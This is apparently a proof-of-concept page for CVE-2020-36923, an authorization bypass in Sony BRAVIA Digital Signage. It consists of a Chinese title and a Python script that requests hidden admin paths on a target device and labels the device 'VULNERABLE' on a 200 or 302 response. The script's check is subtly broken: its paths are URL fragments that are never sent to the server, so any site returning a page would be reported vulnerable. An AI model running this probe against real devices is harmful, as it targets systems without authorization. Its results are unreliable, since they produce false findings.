CVE-2020-36923 Sony BRAVIA Digital Signage 授权绕过漏洞

import requests # CVE-2020-36923 PoC - Sony BRAVIA Digital Signage Authorization Bypass # Target: Sony BRAVIA Digital Signage 1.7.8 # Vulnerability: Insecure Direct Object Reference (IDOR) - Bypassing client-side access controls def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2020-36923 """ # Hidden admin endpoint that requires authorization bypass hidden_endpoints = [ "/#/content-creation", "/#/admin/settings", "/#/content-management", "/#/system-configuration" ] results = [] for endpoint in hidden_endpoints: # Attempt to access hidden resources directly url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, allow_redirects=False) # Check if access is granted without proper authorization if response.status_code in [200, 302]: results.append({ "endpoint": endpoint, "status": "VULNERABLE", "status_code": response.status_code, "note": "Access granted without authorization" }) else: results.append({ "endpoint": endpoint, "status": "CHECK_MANUALLY", "status_code": response.status_code }) except requests.RequestException as e: results.append({ "endpoint": endpoint, "status": "ERROR", "error": str(e) }) return results if __name__ == "__main__": # Replace with target URL target = "http://target-bravia-signage.local" print(f"[*] Testing CVE-2020-36923 on {target}") print(f"[*] Sony BRAVIA Digital Signage IDOR Vulnerability\n") results = check_vulnerability(target) for result in results: print(f"Endpoint: {result['endpoint']}") print(f"Status: {result['status']}") print(f"---") # Note: This PoC demonstrates the IDOR vulnerability where attackers can # directly access hidden admin resources by manipulating URL paths, # bypassing client-side authorization controls implemented in the web interface.